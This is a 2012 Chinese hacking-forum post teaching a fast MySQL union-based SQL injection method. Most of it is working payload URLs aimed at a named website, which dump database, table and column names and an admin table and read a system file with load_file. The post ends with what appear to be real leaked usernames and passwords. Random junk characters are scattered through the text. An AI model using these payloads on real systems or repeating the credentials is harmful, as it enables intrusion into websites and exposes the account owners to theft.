找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
0 P- U4 r. s: I+ @$ r- |但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人( |' h; E, u8 }5 ^$ u- C. \

* Y* ]7 L5 K' f) }6 V' A
- d$ ~+ M# S; O. c, ~9 N& |. @2 L2 h5 }优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
) R. k* V8 L! }! {7 v, p$ \" R$ \4 o# ~# w6 i6 y- p
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...3 x% X6 S/ s/ |
- z# l- t0 z; c3 @! b
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示- ]) U1 O  \: H% [- H
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
* o! P. S  F3 E% S1 w! z+ W' d4 h" ~" \& {0 l5 b8 C9 C: w- P( S; h+ h+ y
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17* @$ R) s* Z+ N  q1 I, ^* G

% U- l! y8 C* C$ H: Q9 S7 ~读出所有库:( }5 l8 ]8 x/ f9 P2 E! h* x
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA/ R" M& Z9 ?# Q) [' N2 F

8 r) X( X1 A* m! \( i7 J: M* s/ w" b! J
: ~8 T: o) t# S( {) C
读出所有表:
- Y" }6 @. N$ P+ Y: s- {http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database(); i) c2 T; K# Q& D! y9 [5 m1 s
( j0 K0 v* w- L5 S& ^8 B& i5 ?
读出所有表字段:
2 v) v  r- D( w/ b$ q7 E; g; h, ohttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)# B9 T( I. g% b# g- `
*/ (97,100,109,105,110)为admin的ascii码 依次类推
/ b9 t/ M' `, Z9 r: Y% u4 Y/ a3 q# }
! X' T9 a1 ?* ^" a/ }0 T' [& B' P读出所有表字段里的内容:
0 y3 V" R8 v2 x) B' Khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin3 x, W* C2 q9 N& ]2 h9 B
1 e. p8 Q4 K; ^4 E* R8 L) f

, r) e" j) v; {$ @$ _" h, ^6 s$ c, E8 h) Y( s; K) C
  T0 [+ t+ G# [
3 M. R0 c' W$ l, ?3 ^
  \" P5 s" [+ d# r) f
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
  M5 a& X! l+ H2 T( s
: j% z/ Y: t- G! [  k! o: G) O7 B$ X8 D& X2 d& O5 h7 m2 E
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
  p% p3 [# b- I; B6 g5 H: R+ f
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23( l: P0 A* C9 e
9 k) D* M" }  q, I% |5 j" x0 L

& e- i8 \+ \. C3 i% f8 y+ |' V0 qhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%232 ~% }( U* ^- j' V) f
( v* b* K. Q; x) j; F4 c
( I4 u. f. d$ }5 \
        webmaster:dzb521123,simlab:simadmin20043233; H1 q5 ^6 T+ M! B4 l+ s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表